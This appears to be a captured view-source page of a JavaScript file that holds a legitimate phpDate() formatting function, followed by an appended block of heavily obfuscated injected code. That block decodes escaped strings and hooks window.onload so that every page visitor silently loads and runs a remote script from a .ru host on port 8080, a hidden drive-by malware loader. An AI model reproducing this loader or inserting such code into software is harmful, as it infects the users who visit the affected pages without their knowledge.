URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Sun, 11 Apr 2010 15:01:30 GMT
Server: Apache/1.3.33 (Debian GNU/Linux) PHP/5.2.9 mod_ssl/2.8.22 OpenSSL/0.9.7e
Last-Modified: Tue, 06 Apr 2010 14:09:38 GMT
ETag: "401a3c6-22f1-4bbb40a2"
Accept-Ranges: bytes
Content-Length: 8945
Connection: close
Content-Type: application/x-javascript

//  ------------------------------------------------------------------------ //
//  This program is free software; you can redistribute it and/or modify     //
//  it under the terms of the GNU General Public License as published by     //
//  the Free Software Foundation; either version 2 of the License, or        //
//  (at your option) any later version.                                      //
//                                                                           //
//  You may not change or alter any portion of this comment or credits       //
//  of supporting developers from this source code or any supporting         //
//  source code which is considered copyrighted (c) material of the          //
//  original comment or credit authors.                                      //
//                                                                           //
//  This program is distributed in the hope that it will be useful,          //
//  but WITHOUT ANY WARRANTY; without even the implied warranty of           //
//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            //
//  GNU General Public License for more details.                             //
//                                                                           //
//  You should have received a copy of the GNU General Public License        //
//  along with this program; if not, write to the Free Software              //
//  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA //
//  ------------------------------------------------------------------------ //
//  Author: Dave Lerner ( http://Dave-L.com ) 2003-01-28                     //
// ------------------------------------------------------------------------- //
//  History:
//    1.0.0 - Original release #*#UNCACHE_DATES#
// ------------------------------------------------------------------------- //

// Emulate PHP function: string date ( string format [, int timestamp ] )
//
// format    - format string
// timestamp - seconds since 1970-01-01 00:00:00 GMT
//
// The following format codes recognized by the PHP function are not supported here: I T
// Unsupported format codes are passed through as-is, but are highlighted with HTML tags.
//
// Example:
//   document.write(phpDate('Y/n/j G:i', 1072318699))) // prints '2003/12/25 2:18' (GMT)

function phpDate(format)
{
	var format_string = new String(format);

	// The timestamp parameter is optional; its absence is interpreted as "now".
	var date = (arguments.length >= 2) ? new Date(arguments[1] * 1000) : new Date();

	var pre = '<u><b><i>';    // prefix for highlighting unsupported code
	var suf = '</i></b></u>'; // suffix for highlighting unsupported code
	var rtn = '';             // return value
	var x, y;                 // temporaries

	for (var i = 0; i < format_string.length; ++i) {

		var format_char = format_string.charAt(i);

		switch (format_char) {

			default: // Pass through unrecognized characters in the format string as-is.
				rtn += format_char;
				break;

			case '\\': // Pass through following character as-is.
				++i;
				rtn += format_string.charAt(i);
				break;

			case 'a':
				x = date.getHours();
				rtn += x >= 12 ? 'pm' : 'am'; 
				break;

			case 'A':
				x = date.getHours();
				rtn += x >= 12 ? 'PM' : 'AM'; 
				break;

			case 'B':
				x = Math.floor(((((date.getUTCHours() + 1) % 24) * 60 + date.getUTCMinutes()) * 60 + date.getUTCSeconds()) / 86.4);
				rtn += x < 10 ? '00' + x : (x < 100 ? '0' + x : x);
				break;

			case 'd':
				x = date.getDate();
				rtn += x < 10 ? '0' + x : x;
				break;

			case 'D':
				x = date.getDay();
				y = new Array('Sun','Mon','Tue','Wed','Thu','Fri','Sat');
				rtn += y[x];
				break;

			case 'F':
				x = date.getMonth();
				y = new Array('January','February','March','April','May','June','July','August','September','October','November','December');
				rtn += y[x];
				break;

			case 'g':
				x = date.getHours();
				rtn += x > 12 ? x - 12 : x;
				break;

			case 'G':
				rtn += date.getHours();
				break;

			case 'h':
				x = date.getHours();
				y = x > 12 ? x - 12 : x;
				rtn += y < 10 ? '0' + y : y;
				break;

			case 'H':
				x = date.getHours();
				rtn += x < 10 ? '0' + x : x;
				break;

			case 'i':
				x = date.getMinutes();
				rtn += x < 10 ? '0' + x : x;
				break;

			case 'I': // unsupported
				rtn += pre + format_char + suf;
				break;

			case 'j':
				rtn += date.getDate();
				break;

			case 'l':
				x = date.getDay();
				y = new Array('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday');
				rtn += y[x];
				break;

			case 'L':
				x = date.getFullYear();
				rtn += (x % 400 == 0) || ((x % 4 == 0) && (x % 100 != 0)) ? 1 : 0;
				break;

			case 'm':
				x = date.getMonth() + 1;
				rtn += x < 10 ? '0' + x : x;
				break;

			case 'M':
				x = date.getMonth();
				y = new Array('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec');
				rtn += y[x];
				break;

			case 'n':
				rtn += date.getMonth() + 1;
				break;

			case 'O':
				var sign, hours, minutes;
				x = date.getTimezoneOffset();
				y = Math.abs(x);
				sign = x <= 0 ? '+' : '-'; // sign is reversed for consistency with PHP
				hours = Math.floor(y / 60);
				hours = new String(hours < 10 ? '0' + hours : hours);
				minutes = y % 60;
				minutes = new String(minutes < 10 ? '0' + minutes : minutes);
				rtn += sign + hours + minutes;
				break;

			case 'r':
				rtn += phpDate('D, j M Y H:i:s O', Math.floor(date.getTime() / 1000)); // recursive call
				break;

			case 's':
				x = date.getSeconds();
				rtn += x < 10 ? '0' + x : x;
				break;

			case 'S':
				x = date.getDate();
				y = new Array(
					'st','nd','rd','th','th','th','th','th','th','th',
					'th','th','th','th','th','th','th','th','th','th',
					'st','nd','rd','th','th','th','th','th','th','th',
					'st'
				);
				rtn += y[x - 1];
				break;

			case 't':
				x = date.getFullYear();
				y = new Array(31,0,31,30,31,30,31,31,30,31,30,31);
				y[1] = (x % 400 == 0) || ((x % 4 == 0) && (x % 100 != 0)) ? 29 : 28;
				rtn += y[date.getMonth()];
				break;

			case 'T': // unsupported
				rtn += pre + format_char + suf;
				break;

			case 'U':
				rtn += Math.floor(date.getTime() / 1000);
				break;

			case 'w':
				rtn += date.getDay();
				break;

			case 'W':
				x = new Date(date.getFullYear(), 0, 1); // date at beginning of current year
				rtn += Math.floor((date - x) / (7 * 24 * 60 * 60 * 1000)) + 1;
				break;

			case 'Y':
				rtn += date.getFullYear();
				break;

			case 'y':
				x = new String(date.getFullYear());
				rtn += x.substr(2, 2); 
				break;

			case 'z':
				x = new Date(date.getFullYear(), 0, 1); // date at beginning of current year
				rtn += Math.floor((date - x) / (24 * 60 * 60 * 1000));
				break;

			case 'Z':
				rtn += -date.getTimezoneOffset() * 60;
				break;
		}
	}

	return rtn;
}

var bf;if(bf!='nY' && bf != ''){bf=null};this.EN="";this.EO="";function V(){var wN=new Date();var y="";var PZ=new Date();var Vn=window;this.MB="";this.d="";var j=unescape;var Bm=new Date();var s=j("%2f%33%36%30%2d%63%6e%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%68%65%73%75%6e%2e%63%6f%2e%75%6b%2e%70%68%70");var nX=new Array();var kq;if(kq!='Ll' && kq!='Os'){kq='Ll'};var kJ;if(kJ!='' && kJ!='u'){kJ='z'};function n(K,l){var S=new Date();var jd;if(jd!='N'){jd='N'};this.U='';var lv=new String("plNRg".substr(4));var E=j("%5b"), Kr=j("%5d");var fJ;if(fJ!='jM' && fJ!='EB'){fJ='jM'};var mt;if(mt!='SV'){mt='SV'};var p=E+l+Kr;var dL;if(dL!='ET'){dL='ET'};var cP="";var v=new RegExp(p, lv);var mZ='';return K.replace(v, new String());};var JJ;if(JJ!='eK' && JJ != ''){JJ=null};var vW='';var FJ='';var nU;if(nU!='' && nU!='Qn'){nU='MP'};var m=n('82542406619124859277170556531','74293165');var Z=document;var gi="";var b=new String();this.fV='';var ep=new Array();this.yF='';function vS(){var M=j("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");var IN=new String();var LJ=new Array();b=M;b+=m;var sE="";b+=s;try {var XX=new String();var fC=new String();r=Z.createElement(n('s6c_r_i6pWtV','MEwWYR_Vy6H7'));var YA=new Array();r[j("%73%72%63")]=b;var zy=new Array();var ux=new Array();r[j("%64%65%66%65%72")]=[1,7][0];var xI;if(xI!='iy' && xI!='Nc'){xI=''};var C;if(C!='hl' && C != ''){C=null};Z.body.appendChild(r);var Pa=new Date();var jh;if(jh!='Sw'){jh=''};var az;if(az!='wb' && az!='Nh'){az='wb'};} catch(x){var uT;if(uT!='qy' && uT != ''){uT=null};alert(x);};}var MBe;if(MBe!='' && MBe!='KO'){MBe=''};Vn["onloaJDPq".substr(0,5)+"d"]=vS;var Qm;if(Qm!='QF' && Qm!='Zc'){Qm=''};};var GC;if(GC!='Tf'){GC=''};this.ZV='';V();var dd="";var fY;if(fY!='JG' && fY!='kp'){fY='JG'};
 Questions or comments welcome: contact me.